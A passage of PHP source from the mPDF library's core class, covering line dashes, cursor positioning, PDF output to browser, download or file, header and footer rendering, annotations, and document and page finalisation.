$this->writer->write($s); } $this->pageoutput[$this->page]['LineCap'] = $s; } function SetDash($black = false, $white = false) { if ($black and $white) { $s = sprintf('[%.3F %.3F] 0 d', $black * Mpdf::SCALE, $white * Mpdf::SCALE); } else { $s = '[] 0 d'; } if ($this->page > 0 && ((isset($this->pageoutput[$this->page]['Dash']) && $this->pageoutput[$this->page]['Dash'] != $s) || !isset($this->pageoutput[$this->page]['Dash']))) { $this->writer->write($s); } $this->pageoutput[$this->page]['Dash'] = $s; } function SetDisplayPreferences($preferences) { // String containing any or none of /HideMenubar/HideToolbar/HideWindowUI/DisplayDocTitle/CenterWindow/FitWindow $this->DisplayPreferences .= $preferences; } function Ln($h = '', $collapsible = 0) { // Added collapsible to allow collapsible top-margin on new page // Line feed; default value is last cell height $this->x = $this->lMargin + $this->blk[$this->blklvl]['outer_left_margin']; if ($collapsible && ($this->y == $this->tMargin) && (!$this->ColActive)) { $h = 0; } if (is_string($h)) { $this->y+=$this->lasth; } else { $this->y+=$h; } } /* -- HTML-CSS -- */ function DivLn($h, $level = -3, $move_y = true, $collapsible = false, $state = 0) { // $state = 0 normal; 1 top; 2 bottom; 3 top and bottom // Used in Columns and keep-with-table i.e. "kwt" // writes background block by block so it can be repositioned // and also used in writingFlowingBlock at top and bottom of blocks to move y (not to draw/paint anything) // adds lines (y) where DIV bgcolors are filled in // this->x is returned as it was // allows .00001 as nominal height used for bookmarks/annotations etc. if ($collapsible && (sprintf("%0.4f", $this->y) == sprintf("%0.4f", $this->tMargin)) && (!$this->ColActive)) { return; } // mPDF 6 Columns // if ($collapsible && (sprintf("%0.4f", $this->y)==sprintf("%0.4f", $this->y0)) && ($this->ColActive) && $this->CurrCol == 0) { return; } // *COLUMNS* if ($collapsible && (sprintf("%0.4f", $this->y) == sprintf("%0.4f", $this->y0)) && ($this->ColActive)) { return; } // *COLUMNS* // Still use this method if columns or keep-with-table, as it allows repositioning later // otherwise, now uses PaintDivBB() if (!$this->ColActive && !$this->kwt) { if ($move_y && !$this->ColActive) { $this->y += $h; } return; } if ($level == -3) { $level = $this->blklvl; } $firstblockfill = $this->GetFirstBlockFill(); if ($firstblockfill && $this->blklvl > 0 && $this->blklvl >= $firstblockfill) { $last_x = 0; $last_w = 0; $last_fc = $this->FillColor; $bak_x = $this->x; $bak_h = $this->divheight; $this->divheight = 0; // Temporarily turn off divheight - as Cell() uses it to check for PageBreak for ($blvl = $firstblockfill; $blvl <= $level; $blvl++) { $this->x = $this->lMargin + $this->blk[$blvl]['outer_left_margin']; // mPDF 6 if ($this->blk[$blvl]['bgcolor']) { $this->SetFColor($this->blk[$blvl]['bgcolorarray']); } if ($last_x != ($this->lMargin + $this->blk[$blvl]['outer_left_margin']) || ($last_w != $this->blk[$blvl]['width']) || $last_fc != $this->FillColor || (isset($this->blk[$blvl]['border_top']['s']) && $this->blk[$blvl]['border_top']['s']) || (isset($this->blk[$blvl]['border_bottom']['s']) && $this->blk[$blvl]['border_bottom']['s']) || (isset($this->blk[$blvl]['border_left']['s']) && $this->blk[$blvl]['border_left']['s']) || (isset($this->blk[$blvl]['border_right']['s']) && $this->blk[$blvl]['border_right']['s'])) { $x = $this->x; $this->Cell(($this->blk[$blvl]['width']), $h, '', '', 0, '', 1); $this->x = $x; if (!$this->keep_block_together && !$this->writingHTMLheader && !$this->writingHTMLfooter) { // $state = 0 normal; 1 top; 2 bottom; 3 top and bottom if ($blvl == $this->blklvl) { $this->PaintDivLnBorder($state, $blvl, $h); } else { $this->PaintDivLnBorder(0, $blvl, $h); } } } $last_x = $this->lMargin + $this->blk[$blvl]['outer_left_margin']; $last_w = $this->blk[$blvl]['width']; $last_fc = $this->FillColor; } // Reset current block fill if (isset($this->blk[$this->blklvl]['bgcolorarray'])) { $bcor = $this->blk[$this->blklvl]['bgcolorarray']; $this->SetFColor($bcor); } $this->x = $bak_x; $this->divheight = $bak_h; } if ($move_y) { $this->y += $h; } } /* -- END HTML-CSS -- */ function SetX($x) { // Set x position if ($x >= 0) { $this->x = $x; } else { $this->x = $this->w + $x; } } function SetY($y) { // Set y position and reset x $this->x = $this->lMargin; if ($y >= 0) { $this->y = $y; } else { $this->y = $this->h + $y; } } function SetXY($x, $y) { // Set x and y positions $this->SetY($y); $this->SetX($x); } function Output($name = '', $dest = '') { $this->logger->debug(sprintf('PDF generated in %.6F seconds', microtime(true) - $this->time0), ['context' => LogContext::STATISTICS]); // Finish document if necessary if ($this->state < 3) { $this->Close(); } if ($this->debug && error_get_last()) { $e = error_get_last(); if (($e['type'] < 2048 && $e['type'] != 8) || (intval($e['type']) & intval(ini_get("error_reporting")))) { throw new \Mpdf\MpdfException( sprintf('Error detected. PDF file generation aborted: %s', $e['message']), $e['type'], 1, $e['file'], $e['line'] ); } } if (($this->PDFA || $this->PDFX) && $this->encrypted) { throw new \Mpdf\MpdfException('PDF/A1-b or PDF/X1-a does not permit encryption of documents.'); } if (count($this->PDFAXwarnings) && (($this->PDFA && !$this->PDFAauto) || ($this->PDFX && !$this->PDFXauto))) { if ($this->PDFA) { $standard = 'PDFA/1-b'; $option = '$mpdf->PDFAauto'; } else { $standard = 'PDFX/1-a '; $option = '$mpdf->PDFXauto'; } $this->logger->warning(sprintf('PDF could not be generated as it stands as a %s compliant file.', $standard), ['context' => LogContext::PDFA_PDFX]); $this->logger->warning(sprintf('These issues can be automatically fixed by mPDF using %s = true;', $option), ['context' => LogContext::PDFA_PDFX]); $this->logger->warning(sprintf('Action that mPDF will take to automatically force %s compliance are shown further in the log.', $standard), ['context' => LogContext::PDFA_PDFX]); $this->PDFAXwarnings = array_unique($this->PDFAXwarnings); foreach ($this->PDFAXwarnings as $w) { $this->logger->warning($w, ['context' => LogContext::PDFA_PDFX]); } throw new \Mpdf\MpdfException('PDFA/PDFX warnings generated. See log for further details'); } $this->logger->debug(sprintf('Compiled in %.6F seconds', microtime(true) - $this->time0), ['context' => LogContext::STATISTICS]); $this->logger->debug(sprintf('Peak Memory usage %s MB', number_format(memory_get_peak_usage(true) / (1024 * 1024), 2)), ['context' => LogContext::STATISTICS]); $this->logger->debug(sprintf('PDF file size %s kB', number_format(strlen($this->buffer) / 1024)), ['context' => LogContext::STATISTICS]); $this->logger->debug(sprintf('%d fonts used', count($this->fonts)), ['context' => LogContext::STATISTICS]); if (is_bool($dest)) { $dest = $dest ? Destination::DOWNLOAD : Destination::FILE; } $dest = strtoupper($dest); if (empty($dest)) { if (empty($name)) { $name = 'mpdf.pdf'; $dest = Destination::INLINE; } else { $dest = Destination::FILE; } } switch ($dest) { case Destination::INLINE: if (headers_sent($filename, $line)) { throw new \Mpdf\MpdfException( sprintf('Data has already been sent to output (%s at line %s), unable to output PDF file', $filename, $line) ); } if ($this->debug && !$this->allow_output_buffering && ob_get_contents()) { throw new \Mpdf\MpdfException('Output has already been sent from the script - PDF file generation aborted.'); } // We send to a browser if (PHP_SAPI !== 'cli') { header('Content-Type: application/pdf'); if (!isset($_SERVER['HTTP_ACCEPT_ENCODING']) || empty($_SERVER['HTTP_ACCEPT_ENCODING'])) { // don't use length if server using compression header('Content-Length: ' . strlen($this->buffer)); } header('Content-disposition: inline; filename="' . $name . '"'); header('Cache-Control: public, must-revalidate, max-age=0'); header('Pragma: public'); header('X-Generator: mPDF' . ($this->exposeVersion ? (' ' . static::VERSION) : '')); header('Expires: Sat, 26 Jul 1997 05:00:00 GMT'); header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); } echo $this->buffer; break; case Destination::DOWNLOAD: if (headers_sent()) { throw new \Mpdf\MpdfException('Data has already been sent to output, unable to output PDF file'); } header('Content-Description: File Transfer'); header('Content-Transfer-Encoding: binary'); header('Cache-Control: public, must-revalidate, max-age=0'); header('Pragma: public'); header('X-Generator: mPDF' . ($this->exposeVersion ? (' ' . static::VERSION) : '')); header('Expires: Sat, 26 Jul 1997 05:00:00 GMT'); header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); header('Content-Type: application/pdf'); if (!isset($_SERVER['HTTP_ACCEPT_ENCODING']) || empty($_SERVER['HTTP_ACCEPT_ENCODING'])) { // don't use length if server using compression header('Content-Length: ' . strlen($this->buffer)); } header('Content-Disposition: attachment; filename="' . $name . '"'); echo $this->buffer; break; case Destination::FILE: $f = fopen($name, 'wb'); if (!$f) { throw new \Mpdf\MpdfException(sprintf('Unable to create output file %s', $name)); } fwrite($f, $this->buffer, strlen($this->buffer)); fclose($f); break; case Destination::STRING_RETURN: $this->cache->clearOld(); return $this->buffer; default: throw new \Mpdf\MpdfException(sprintf('Incorrect output destination %s', $dest)); } $this->cache->clearOld(); } // ***************************************************************************** // * // Protected methods * // * // ***************************************************************************** function _dochecks() { // Check for locale-related bug if (1.1 == 1) { throw new \Mpdf\MpdfException('Do not alter the locale before including mPDF'); } // Check for decimal separator if (sprintf('%.1f', 1.0) != '1.0') { setlocale(LC_NUMERIC, 'C'); } if (ini_get('mbstring.func_overload')) { throw new \Mpdf\MpdfException('Mpdf cannot function properly with mbstring.func_overload enabled'); } if (!function_exists('mb_substr')) { throw new \Mpdf\MpdfException('mbstring extension must be loaded in order to run mPDF'); } } function _puthtmlheaders() { $this->state = 2; $nb = $this->page; for ($n = 1; $n <= $nb; $n++) { if ($this->mirrorMargins && $n % 2 == 0) { $OE = 'E'; } // EVEN else { $OE = 'O'; } $this->page = $n; $pn = $this->docPageNum($n); if ($pn) { $pnstr = $this->pagenumPrefix . $pn . $this->pagenumSuffix; } else { $pnstr = ''; } $pnt = $this->docPageNumTotal($n); if ($pnt) { $pntstr = $this->nbpgPrefix . $pnt . $this->nbpgSuffix; } else { $pntstr = ''; } if (isset($this->saveHTMLHeader[$n][$OE])) { $html = isset($this->saveHTMLHeader[$n][$OE]['html']) ? $this->saveHTMLHeader[$n][$OE]['html'] : ''; $this->lMargin = $this->saveHTMLHeader[$n][$OE]['ml']; $this->rMargin = $this->saveHTMLHeader[$n][$OE]['mr']; $this->tMargin = $this->saveHTMLHeader[$n][$OE]['mh']; $this->bMargin = $this->saveHTMLHeader[$n][$OE]['mf']; $this->margin_header = $this->saveHTMLHeader[$n][$OE]['mh']; $this->margin_footer = $this->saveHTMLHeader[$n][$OE]['mf']; $this->w = $this->saveHTMLHeader[$n][$OE]['pw']; $this->h = $this->saveHTMLHeader[$n][$OE]['ph']; $rotate = (isset($this->saveHTMLHeader[$n][$OE]['rotate']) ? $this->saveHTMLHeader[$n][$OE]['rotate'] : null); $this->Reset(); $this->pageoutput[$n] = []; $this->pgwidth = $this->w - $this->lMargin - $this->rMargin; $this->x = $this->lMargin; $this->y = $this->margin_header; $html = str_replace('{PAGENO}', $pnstr, $html); $html = str_replace($this->aliasNbPgGp, $pntstr, $html); // {nbpg} $html = str_replace($this->aliasNbPg, $nb, $html); // {nb} $html = preg_replace_callback('/\{DATE\s+(.*?)\}/', [$this, 'date_callback'], $html); // mPDF 5.7 $this->HTMLheaderPageLinks = []; $this->HTMLheaderPageAnnots = []; $this->HTMLheaderPageForms = []; $this->pageBackgrounds = []; $this->writingHTMLheader = true; $this->WriteHTML($html, HTMLParserMode::HTML_HEADER_BUFFER); $this->writingHTMLheader = false; $this->Reset(); $this->pageoutput[$n] = []; $s = $this->PrintPageBackgrounds(); $this->headerbuffer = $s . $this->headerbuffer; $os = ''; if ($rotate) { $os .= sprintf('q 0 -1 1 0 0 %.3F cm ', ($this->w * Mpdf::SCALE)); // To rotate the other way i.e. Header to left of page: // $os .= sprintf('q 0 1 -1 0 %.3F %.3F cm ',($this->h*Mpdf::SCALE), (($this->rMargin - $this->lMargin )*Mpdf::SCALE)); } $os .= $this->headerbuffer; if ($rotate) { $os .= ' Q' . "\n"; } // Writes over the page background but behind any other output on page $os = preg_replace(['/\\\\/', '/\$/'], ['\\\\\\\\', '\\\\$'], $os); $this->pages[$n] = preg_replace('/(___HEADER___MARKER' . $this->uniqstr . ')/', "\n" . $os . "\n" . '\\1', $this->pages[$n]); $lks = $this->HTMLheaderPageLinks; foreach ($lks as $lk) { if ($rotate) { $lw = $lk[2]; $lh = $lk[3]; $lk[2] = $lh; $lk[3] = $lw; // swap width and height $ax = $lk[0] / Mpdf::SCALE; $ay = $lk[1] / Mpdf::SCALE; $bx = $ay - ($lh / Mpdf::SCALE); $by = $this->w - $ax; $lk[0] = $bx * Mpdf::SCALE; $lk[1] = ($this->h - $by) * Mpdf::SCALE - $lw; } $this->PageLinks[$n][] = $lk; } /* -- FORMS -- */ foreach ($this->HTMLheaderPageForms as $f) { $this->form->forms[$f['n']] = $f; } /* -- END FORMS -- */ } if (isset($this->saveHTMLFooter[$n][$OE])) { $html = $this->saveHTMLFooter[$this->page][$OE]['html']; $this->lMargin = $this->saveHTMLFooter[$n][$OE]['ml']; $this->rMargin = $this->saveHTMLFooter[$n][$OE]['mr']; $this->tMargin = $this->saveHTMLFooter[$n][$OE]['mh']; $this->bMargin = $this->saveHTMLFooter[$n][$OE]['mf']; $this->margin_header = $this->saveHTMLFooter[$n][$OE]['mh']; $this->margin_footer = $this->saveHTMLFooter[$n][$OE]['mf']; $this->w = $this->saveHTMLFooter[$n][$OE]['pw']; $this->h = $this->saveHTMLFooter[$n][$OE]['ph']; $rotate = (isset($this->saveHTMLFooter[$n][$OE]['rotate']) ? $this->saveHTMLFooter[$n][$OE]['rotate'] : null); $this->Reset(); $this->pageoutput[$n] = []; $this->pgwidth = $this->w - $this->lMargin - $this->rMargin; $this->x = $this->lMargin; $top_y = $this->y = $this->h - $this->margin_footer; // if bottom-margin==0, corrects to avoid division by zero if ($this->y == $this->h) { $top_y = $this->y = ($this->h + 0.01); } $html = str_replace('{PAGENO}', $pnstr, $html); $html = str_replace($this->aliasNbPgGp, $pntstr, $html); // {nbpg} $html = str_replace($this->aliasNbPg, $nb, $html); // {nb} $html = preg_replace_callback('/\{DATE\s+(.*?)\}/', [$this, 'date_callback'], $html); // mPDF 5.7 $this->HTMLheaderPageLinks = []; $this->HTMLheaderPageAnnots = []; $this->HTMLheaderPageForms = []; $this->pageBackgrounds = []; $this->writingHTMLfooter = true; $this->InFooter = true; $this->WriteHTML($html, HTMLParserMode::HTML_HEADER_BUFFER); $this->InFooter = false; $this->Reset(); $this->pageoutput[$n] = []; $fheight = $this->y - $top_y; $adj = -$fheight; $s = $this->PrintPageBackgrounds(-$adj); $this->headerbuffer = $s . $this->headerbuffer; $this->writingHTMLfooter = false; // mPDF 5.7.3 (moved after PrintPageBackgrounds so can adjust position of images in footer) $os = ''; $os .= $this->StartTransform(true) . "\n"; if ($rotate) { $os .= sprintf('q 0 -1 1 0 0 %.3F cm ', ($this->w * Mpdf::SCALE)); // To rotate the other way i.e. Header to left of page: // $os .= sprintf('q 0 1 -1 0 %.3F %.3F cm ',($this->h*Mpdf::SCALE), (($this->rMargin - $this->lMargin )*Mpdf::SCALE)); } $os .= $this->transformTranslate(0, $adj, true) . "\n"; $os .= $this->headerbuffer; if ($rotate) { $os .= ' Q' . "\n"; } $os .= $this->StopTransform(true) . "\n"; // Writes over the page background but behind any other output on page $os = preg_replace(['/\\\\/', '/\$/'], ['\\\\\\\\', '\\\\$'], $os); $this->pages[$n] = preg_replace('/(___HEADER___MARKER' . $this->uniqstr . ')/', "\n" . $os . "\n" . '\\1', $this->pages[$n]); $lks = $this->HTMLheaderPageLinks; foreach ($lks as $lk) { $lk[1] -= $adj * Mpdf::SCALE; if ($rotate) { $lw = $lk[2]; $lh = $lk[3]; $lk[2] = $lh; $lk[3] = $lw; // swap width and height $ax = $lk[0] / Mpdf::SCALE; $ay = $lk[1] / Mpdf::SCALE; $bx = $ay - ($lh / Mpdf::SCALE); $by = $this->w - $ax; $lk[0] = $bx * Mpdf::SCALE; $lk[1] = ($this->h - $by) * Mpdf::SCALE - $lw; } $this->PageLinks[$n][] = $lk; } /* -- FORMS -- */ foreach ($this->HTMLheaderPageForms as $f) { $f['y'] += $adj; $this->form->forms[$f['n']] = $f; } /* -- END FORMS -- */ } } $this->page = $nb; $this->state = 1; } /* -- ANNOTATIONS -- */ function Annotation($text, $x = 0, $y = 0, $icon = 'Note', $author = '', $subject = '', $opacity = 0, $colarray = false, $popup = '', $file = '') { if (is_array($colarray) && count($colarray) == 3) { $colarray = $this->colorConverter->convert('rgb(' . $colarray[0] . ',' . $colarray[1] . ',' . $colarray[2] . ')', $this->PDFAXwarnings); } if ($colarray === false) { $colarray = $this->colorConverter->convert('yellow', $this->PDFAXwarnings); } if ($x == 0) { $x = $this->x; } if ($y == 0) { $y = $this->y; } $page = $this->page; if ($page < 1) { // Document has not been started - assume it's for first page $page = 1; if ($x == 0) { $x = $this->lMargin; } if ($y == 0) { $y = $this->tMargin; } } if ($this->PDFA || $this->PDFX) { if (($this->PDFA && !$this->PDFAauto) || ($this->PDFX && !$this->PDFXauto)) { $this->PDFAXwarnings[] = "Annotation markers cannot be semi-transparent in PDFA1-b or PDFX/1-a, so they may make underlying text unreadable. (Annotation markers moved to right margin)"; } $x = ($this->w) - $this->rMargin * 0.66; } if (!$this->annotMargin) { $y -= $this->FontSize / 2; } if (!$opacity && $this->annotMargin) { $opacity = 1; } elseif (!$opacity) { $opacity = $this->annotOpacity; } $an = ['txt' => $text, 'x' => $x, 'y' => $y, 'opt' => ['Icon' => $icon, 'T' => $author, 'Subj' => $subject, 'C' => $colarray, 'CA' => $opacity, 'popup' => $popup, 'file' => $file]]; if ($this->keep_block_together) { // don't write yet return; } elseif ($this->table_rotate) { $this->tbrot_Annots[$this->page][] = $an; return; } elseif ($this->kwt) { $this->kwt_Annots[$this->page][] = $an; return; } if ($this->writingHTMLheader || $this->writingHTMLfooter) { $this->HTMLheaderPageAnnots[] = $an; return; } // Put an Annotation on the page $this->PageAnnots[$page][] = $an; /* -- COLUMNS -- */ // Save cross-reference to Column buffer $ref = isset($this->PageAnnots[$this->page]) ? (count($this->PageAnnots[$this->page]) - 1) : -1; $this->columnAnnots[$this->CurrCol][intval($this->x)][intval($this->y)] = $ref; /* -- END COLUMNS -- */ } /* -- END ANNOTATIONS -- */ function _enddoc() { // @log Writing Headers & Footers $this->_puthtmlheaders(); // @log Writing Pages // Remove references to unused fonts (usually default font) foreach ($this->fonts as $fk => $font) { if (isset($font['type']) && $font['type'] == 'TTF' && !$font['used']) { if ($font['sip'] || $font['smp']) { foreach ($font['subsetfontids'] as $k => $fid) { foreach ($this->pages as $pn => $page) { $this->pages[$pn] = preg_replace('/\s\/F' . $fid . ' \d[\d.]* Tf\s/is', ' ', $this->pages[$pn]); } } } else { foreach ($this->pages as $pn => $page) { $this->pages[$pn] = preg_replace('/\s\/F' . $font['i'] . ' \d[\d.]* Tf\s/is', ' ', $this->pages[$pn]); } } } } if (count($this->layers)) { foreach ($this->pages as $pn => $page) { preg_match_all('/\/OCZ-index \/ZI(\d+) BDC(.*?)(EMCZ)-index/is', $this->pages[$pn], $m1); preg_match_all('/\/OCBZ-index \/ZI(\d+) BDC(.*?)(EMCBZ)-index/is', $this->pages[$pn], $m2); preg_match_all('/\/OCGZ-index \/ZI(\d+) BDC(.*?)(EMCGZ)-index/is', $this->pages[$pn], $m3); $m = []; for ($i = 0; $i < 4; $i++) { $m[$i] = array_merge($m1[$i], $m2[$i], $m3[$i]); } if (count($m[0])) { $sortarr = []; for ($i = 0; $i < count($m[0]); $i++) { $key = $m[1][$i] * 2; if ($m[3][$i] == 'EMCZ') { $key +=2; // background first then gradient then normal } elseif ($m[3][$i] == 'EMCGZ') { $key +=1; } $sortarr[$i] = $key; } asort($sortarr); foreach ($sortarr as $i => $k) { $this->pages[$pn] = str_replace($m[0][$i], '', $this->pages[$pn]); $this->pages[$pn] .= "\n" . $m[0][$i] . "\n"; } $this->pages[$pn] = preg_replace('/\/OC[BG]{0,1}Z-index \/ZI(\d+) BDC/is', '/OC /ZI\\1 BDC ', $this->pages[$pn]); $this->pages[$pn] = preg_replace('/EMC[BG]{0,1}Z-index/is', 'EMC', $this->pages[$pn]); } } } $this->pageWriter->writePages(); // @log Writing document resources $this->resourceWriter->writeResources(); // Info $this->writer->object(); $this->InfoRoot = $this->n; $this->writer->write('<<'); // @log Writing document info $this->metadataWriter->writeInfo(); $this->writer->write('>>'); $this->writer->write('endobj'); // METADATA if ($this->PDFA || $this->PDFX) { $this->metadataWriter->writeMetadata(); } // OUTPUTINTENT if ($this->PDFA || $this->PDFX || $this->ICCProfile) { $this->metadataWriter->writeOutputIntent(); } // Associated files if ($this->associatedFiles) { $this->metadataWriter->writeAssociatedFiles(); } // Catalog $this->writer->object(); $this->writer->write('<<'); // @log Writing document catalog $this->metadataWriter->writeCatalog(); $this->writer->write('>>'); $this->writer->write('endobj'); // Cross-ref $o = strlen($this->buffer); $this->writer->write('xref'); $this->writer->write('0 ' . ($this->n + 1)); $this->writer->write('0000000000 65535 f '); for ($i = 1; $i <= $this->n; $i++) { $this->writer->write(sprintf('%010d 00000 n ', $this->offsets[$i])); } // Trailer $this->writer->write('trailer'); $this->writer->write('<<'); $this->metadataWriter->writeTrailer(); $this->writer->write('>>'); $this->writer->write('startxref'); $this->writer->write($o); $this->buffer .= '%%EOF'; $this->state = 3; } function _beginpage( $orientation, $mgl = '', $mgr = '', $mgt = '', $mgb = '', $mgh = '', $mgf = '', $ohname = '', $ehname = '', $ofname = '', $efname = '', $ohvalue = 0, $ehvalue = 0, $ofvalue = 0, $efvalue = 0, $pagesel = '', $newformat = '' ) { if (!($pagesel && $this->page == 1 && (sprintf("%0.4f", $this->y) == sprintf("%0.4f", $this->tMargin)))) { $this->page++; $this->pages[$this->page] = ''; } $this->state = 2; $resetHTMLHeadersrequired = false; if ($newformat) { $this->_setPageSize($newformat, $orientation); } /* -- CSS-PAGE -- */ // Paged media (page-box) if ($pagesel || (isset($this->page_box['using']) && $this->page_box['using'])) { if ($pagesel || $this->page == 1) { $first = true; } else { $first = false; } if ($this->mirrorMargins && ($this->page % 2 == 0)) { $oddEven = 'E'; } else { $oddEven = 'O'; } if ($pagesel) { $psel = $pagesel; } elseif ($this->page_box['current']) { $psel = $this->page_box['current']; } else { $psel = ''; } list($orientation, $mgl, $mgr, $mgt, $mgb, $mgh, $mgf, $hname, $fname, $bg, $resetpagenum, $pagenumstyle, $suppress, $marks, $newformat) = $this->SetPagedMediaCSS($psel, $first, $oddEven); if ($this->mirrorMargins && ($this->page % 2 == 0)) { if ($hname) { $ehvalue = 1; $ehname = $hname; } else { $ehvalue = -1; } if ($fname) { $efvalue = 1; $efname = $fname; } else { $efvalue = -1; } } else { if ($hname) { $ohvalue = 1; $ohname = $hname; } else { $ohvalue = -1; } if ($fname) { $ofvalue = 1; $ofname = $fname; } else { $ofvalue = -1; } } if ($resetpagenum || $pagenumstyle || $suppress) { $this->PageNumSubstitutions[] = ['from' => ($this->page), 'reset' => $resetpagenum, 'type' => $pagenumstyle, 'suppress' => $suppress]; } // PAGED MEDIA - CROP / CROSS MARKS from @PAGE $this->show_marks = $marks; // Background color if (isset($bg['BACKGROUND-COLOR'])) { $cor = $this->colorConverter->convert($bg['BACKGROUND-COLOR'], $this->PDFAXwarnings); if ($cor) { $this->bodyBackgroundColor = $cor; } } else { $this->bodyBackgroundColor = false; } /* -- BACKGROUNDS -- */ if (isset($bg['BACKGROUND-GRADIENT'])) { $this->bodyBackgroundGradient = $bg['BACKGROUND-GRADIENT']; } else { $this->bodyBackgroundGradient = false; } // Tiling Patterns if (isset($bg['BACKGROUND-IMAGE']) && $bg['BACKGROUND-IMAGE']) { $ret = $this->SetBackground($bg, $this->pgwidth); if ($ret) { $this->bodyBackgroundImage = $ret; } } else { $this->bodyBackgroundImage = false; } /* -- END BACKGROUNDS -- */ $this->page_box['current'] = $psel; $this->page_box['using'] = true; } /* -- END CSS-PAGE -- */ // Page orientation if (!$orientation) { $orientation = $this->DefOrientation; } else { $orientation = strtoupper(substr($orientation, 0, 1)); if ($orientation != $this->DefOrientation) { $this->OrientationChanges[$this->page] = true; } } if ($orientation != $this->CurOrientation || $newformat) { // Change orientation if ($orientation == 'P') { $this->wPt = $this->fwPt; $this->hPt = $this->fhPt; $this->w = $this->fw; $this->h = $this->fh; if (($this->forcePortraitHeaders || $this->forcePortraitMargins) && $this->DefOrientation == 'P') { $this->tMargin = $this->orig_tMargin; $this->bMargin = $this->orig_bMargin; $this->DeflMargin = $this->orig_lMargin; $this->DefrMargin = $this->orig_rMargin; $this->margin_header = $this->orig_hMargin; $this->margin_footer = $this->orig_fMargin; } else { $resetHTMLHeadersrequired = true; } } else { $this->wPt = $this->fhPt; $this->hPt = $this->fwPt; $this->w = $this->fh; $this->h = $this->fw; if (($this->forcePortraitHeaders || $this->forcePortraitMargins) && $this->DefOrientation == 'P') { $this->tMargin = $this->orig_lMargin; $this->bMargin = $this->orig_rMargin; $this->DeflMargin = $this->orig_bMargin; $this->DefrMargin = $this->orig_tMargin; $this->margin_header = $this->orig_hMargin; $this->margin_footer = $this->orig_fMargin; } else { $resetHTMLHeadersrequired = true; } } $this->CurOrientation = $orientation; $this->ResetMargins(); $this->pgwidth = $this->w - $this->lMargin - $this->rMargin; $this->PageBreakTrigger = $this->h - $this->bMargin; } $this->pageDim[$this->page]['w'] = $this->w; $this->pageDim[$this->page]['h'] = $this->h; $this->pageDim[$this->page]['outer_width_LR'] = isset($this->page_box['outer_width_LR']) ? $this->page_box['outer_width_LR'] : 0; $this->pageDim[$this->page]['outer_width_TB'] = isset($this->page_box['outer_width_TB']) ? $this->page_box['outer_width_TB'] : 0; if (!isset($this->page_box['outer_width_LR']) && !isset($this->page_box['outer_width_TB'])) { $this->pageDim[$this->page]['bleedMargin'] = 0; } elseif ($this->bleedMargin <= $this->page_box['outer_width_LR'] && $this->bleedMargin <= $this->page_box['outer_width_TB']) { $this->pageDim[$this->page]['bleedMargin'] = $this->bleedMargin; } else { $this->pageDim[$this->page]['bleedMargin'] = min($this->page_box['outer_width_LR'], $this->page_box['outer_width_TB']) - 0.01; } // If Page Margins are re-defined // strlen()>0 is used to pick up (integer) 0, (string) '0', or set value if ((strlen($mgl) > 0 && $this->DeflMargin != $mgl) || (strlen($mgr) > 0 && $this->DefrMargin != $mgr) || (strlen($mgt) > 0 && $this->tMargin != $mgt) || (strlen($mgb) > 0 && $this->bMargin != $mgb) || (strlen($mgh) > 0 && $this->margin_header != $mgh) || (strlen($mgf) > 0 && $this->margin_footer != $mgf)) { if (strlen($mgl) > 0) { $this->DeflMargin = $mgl; } if (strlen($mgr) > 0) { $this->DefrMargin = $mgr; } if (strlen($mgt) > 0) { $this->tMargin = $mgt; } if (strlen($mgb) > 0) { $this->bMargin = $mgb; } if (strlen($mgh) > 0) { $this->margin_header = $mgh; } if (strlen($mgf) > 0) { $this->margin_footer = $mgf; } $this->ResetMargins(); $this->SetAutoPageBreak($this->autoPageBreak, $this->bMargin); $this->pgwidth = $this->w - $this->lMargin - $this->rMargin; $resetHTMLHeadersrequired = true; } $this->ResetMargins(); $this->pgwidth = $this->w - $this->lMargin - $this->rMargin; $this->SetAutoPageBreak($this->autoPageBreak, $this->bMargin); // Reset column top margin $this->y0 = $this->tMargin; $this->x = $this->lMargin; $this->y = $this->tMargin; $this->FontFamily = ''; // HEADERS AND FOOTERS // mPDF 6 if ($ohvalue < 0 || strtoupper($ohvalue) == 'OFF') { $this->HTMLHeader = ''; $resetHTMLHeadersrequired = true; } elseif ($ohname && $ohvalue > 0) { if (preg_match('/^html_(.*)$/i', $ohname, $n)) { $name = $n[1]; } else { $name = $ohname; } if (isset($this->pageHTMLheaders[$name])) { $this->HTMLHeader = $this->pageHTMLheaders[$name]; } else { $this->HTMLHeader = ''; } $resetHTMLHeadersrequired = true; } if ($ehvalue < 0 || strtoupper($ehvalue) == 'OFF') { $this->HTMLHeaderE = ''; $resetHTMLHeadersrequired = true; } elseif ($ehname && $ehvalue > 0) { if (preg_match('/^html_(.*)$/i', $ehname, $n)) { $name = $n[1]; } else { $name = $ehname; } if (isset($this->pageHTMLheaders[$name])) { $this->HTMLHeaderE = $this->pageHTMLheaders[$name]; } else { $this->HTMLHeaderE = ''; } $resetHTMLHeadersrequired = true; } if ($ofvalue < 0 || strtoupper($ofvalue) == 'OFF') { $this->HTMLFooter = ''; $resetHTMLHeadersrequired = true; } elseif ($ofname && $ofvalue > 0) { if (preg_match('/^html_(.*)$/i', $ofname, $n)) { $name = $n[1]; } else { $name = $ofname; } if (isset($this->pageHTMLfooters[$name])) { $this->HTMLFooter = $this->pageHTMLfooters[$name]; } else { $this->HTMLFooter = ''; } $resetHTMLHeadersrequired = true; } if ($efvalue < 0 || strtoupper($efvalue) == 'OFF') { $this->HTMLFooterE = ''; $resetHTMLHeadersrequired = true; } elseif ($efname && $efvalue > 0) { if (preg_match('/^html_(.*)$/i', $efname, $n)) { $name = $n[1]; } else { $name = $efname; } if (isset($this->pageHTMLfooters[$name])) { $this->HTMLFooterE = $this->pageHTMLfooters[$name]; } else { $this->HTMLFooterE = ''; } $resetHTMLHeadersrequired = true; } if ($resetHTMLHeadersrequired) { $this->SetHTMLHeader($this->HTMLHeader); $this->SetHTMLHeader($this->HTMLHeaderE, 'E'); $this->SetHTMLFooter($this->HTMLFooter); $this->SetHTMLFooter($this->HTMLFooterE, 'E'); } if (($this->mirrorMargins) && (($this->page) % 2 == 0)) { // EVEN $this->_setAutoHeaderHeight($this->HTMLHeaderE); $this->_setAutoFooterHeight($this->HTMLFooterE); } else { // ODD or DEFAULT $this->_setAutoHeaderHeight($this->HTMLHeader); $this->_setAutoFooterHeight($this->HTMLFooter); } // Reset column top margin $this->y0 = $this->tMargin; $this->x = $this->lMargin; $this->y = $this->tMargin; } // mPDF 6 function _setAutoHeaderHeight(&$htmlh) { /* When the setAutoTopMargin option is set to pad/stretch, only apply auto header height when a header exists */ if 